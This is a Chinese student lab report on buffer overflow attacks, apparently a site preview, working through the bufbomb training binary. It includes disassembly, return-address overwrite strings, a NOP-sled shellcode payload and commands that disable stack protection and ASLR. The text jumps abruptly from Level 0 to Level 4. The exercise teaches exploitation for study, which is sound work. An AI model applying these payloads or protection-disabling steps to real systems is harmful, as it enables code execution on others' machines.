资源预览内容
第1页 / 共8页
第2页 / 共8页
第3页 / 共8页
第4页 / 共8页
第5页 / 共8页
第6页 / 共8页
第7页 / 共8页
第8页 / 共8页
亲,该文档总共8页全部预览完了,如果喜欢就下载吧!
资源描述
网络安全上机作业学号:2010117201姓名:强 敏专业:计算机科学与技术二班院系:信息学院一 实验题目基于缓冲区溢出的攻击二 实验目的1.掌握缓冲区溢出的原理;2.掌握缓冲区溢出漏洞的利用技巧;3.理解缓冲区溢出漏洞的防范措施。三 实验环境操作系统:Windows7编译平台:Visual C+ 6.0调试环境:OllyDbg四 实验原理缓冲区是内存中存放数据的地方。在程序试图将数据放到机器内存中的某一个位置的时候,因为没有足够的空间就会发生缓冲区溢出。而人为的溢出则是有一定企图的,攻击者写一个超过缓冲区长度的字符串,植入到缓冲区,然后再向一个有限空间的缓冲区中植入超长的字符串,这时可能会出现两个结果:一是过长的字符串覆盖了相邻的存储单元,引起程序运行失败,严重的可导致系统崩溃;另一个结果就是利用这种漏洞可以执行任意指令,甚至可以取得系统 root 特级权限。 缓冲区是程序运行的时候机器内存中的一个连续块,它保存了给定类型的数据,随着动态分配变量会出现问题。大多时为了不占用太多的内存,一个有动态分配变量的程序在程序运行时才决定给它们分配多少内存。如果程序在动态分配缓冲区放入超长的数据,它就会溢出了。一个缓冲区溢出程序使用这个溢出的数据将汇编语言代码放到机器的内存里,通常是产生 root 权限的地方。仅仅单个的缓冲区溢出并不是问题的根本所在。但如果溢出送到能够以 root 权限运行命令的区域,一旦运行这些命令,那可就等于把机器拱手相让了五 关键技术分析解题过程 33.1 Level 0: Candle 33.2 Level 1: Sparkler 43.3 Level 2: Firecracker 53.4 Level 3: Dynamite 53.5 Level 4: Nitroglycerin 6进入 bufbomb 所在的文件目录下,输入“objdump -d bufbomb”命令获得程序的反汇编代码。由于我进行实验的操作系统为 Ubuntu 9.10,GCC 版本为 4.4.1。这个版本的 GCC 对堆栈进行了保护。所以需要设置一些东西才能进行该实验:使用“sudo apt-get install execstack”下载该工具。安装完成后。进入 bufbomb 所在的目录下,输入“execstack s bufbomb”。使用“sudo -i”进入 root 权限。输入“echo 0 /proc/sys/kernel/randomize_va_space”。注意:该步骤在每次重新开机后都要进行设置。getbuf()的反汇编代码如下: 08049160 :8049160: 55 push %ebp8049161: 89 e5 mov %esp,%ebp8049163: 83 ec 18 sub $0x18,%esp8049166: 8d 45 f4 lea -0xc(%ebp),%eax8049169: 89 04 24 mov %eax,(%esp)804916c: e8 bf fd ff ff call 8048f30 8049171: b8 01 00 00 00 mov $0x1,%eax8049176: c9 leave 8049177: c3 ret 8049178: 90 nop8049179: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi由“lea -0xc(%ebp),%eax”和“mov %eax,(%esp)”两句可知,getbuf()将%ebp 栈基址往下 12 个字节的地址作为参数,调用 Gets 函数。Gets 函数将以这个地址为起点,向上存储字符。返回地址%ebp::buf由上图可得,只要输入的字符串将 getbuf()的返回地址覆盖为 smoke()函数第一条语句的地址,在函数返回时就能进入并执行 smoke()函数。在反汇编代码中查到 smoke()函数第一条语句的地址为 0x08048ef0。在 level0.txt 文件中输入“30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 f0 8e 04 08”。注意字符串在内存中存储顺序为从一个内存单元的低字节向高字节。使用 sendstring 生成对应上述输入的字符串的文件 level0-raw.txt。输入“./bufbomb -t 5070379044 :80490d0:55 push %ebp80490d1:89 e5 mov %esp,%ebp80490d3:83 ec 28 sub $0x28,%esp80490d6:c7 45 fc ef be ad de movl $0xdeadbeef,-0x4(%ebp)80490dd:c7 05 7c b0 04 08 04 movl $0x4,0x804b07c80490e4:00 00 00 80490e7:e8 c4 ff ff ff call 80490b0 testn()函数在调用 getbufn()之前,将%ebp 向下移动了 0x28 个字节。则在调用getbufn()之前%ebp 与%esp 的关系为%ebp = %esp+0x28。在 getbufn()函数中将%eax 设置为 cookie 值,并将以前%ebp 与%esp 的关系还原,然后跳入 testn()函数中获得 getbufn()的返回值的语句(0x80490ec)即可。编写汇编代码如下:MOVL $0x532e6153,%EAXMOVL %ESP,%EDXADDL $0X28,%EDXMOVL %EDX, %EBPPUSH $0X80490ECRET使用“gcc c a.s”将汇编编译为目标文件。然后使用“objdump d a.o”获得如下汇编代码的二进制代码如下:0:b8 53 61 2e 53 mov $0x532e6153,%eax5:89 e2 mov %esp,%edx7:83 c2 28 add $0x28,%edxa:89 d5 mov %edx,%ebpc:68 ec 90 04 08 push $0x80490ec11:c3 ret 在 level4.txt 文件中输入“90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 b8 53 61 2e 53 89 e2 83 c2 28 89 d5 68 ec 90 04 08 c3 38 b7 ff bf”。使用命令“cat level4.txt | ./sendstring -n 5 | ./bufbomb -n -t bovik”运行程序,程序显示“Type string:KABOOM!: getbufn returned 0x532e6153Keep goingType string:KABOOM!: getbufn returned 0x532e6153Keep goingType string:KABOOM!: getbufn returned 0x532e6153Keep goingType string:KABOOM!: getbufn returned 0x532e6153Keep goingType string:KABOOM!: getbufn returned 0x532e6153”。Leve4 通过。六 实验结论程序中遇到了很多问题,由于前面的实验只是验证性的,我主要说明做最后一个实验中遇到的问题与心得:1.溢出点定位时遇到的问题:溢出点定位应该是很简单的,但是这里的一个问题是字符串长了会覆盖参数,引起异常,我最初就以为溢出点位置为292个字符
网站客服QQ:2055934822
金锄头文库版权所有
经营许可证:蜀ICP备13022795号 | 川公网安备 51140202000112号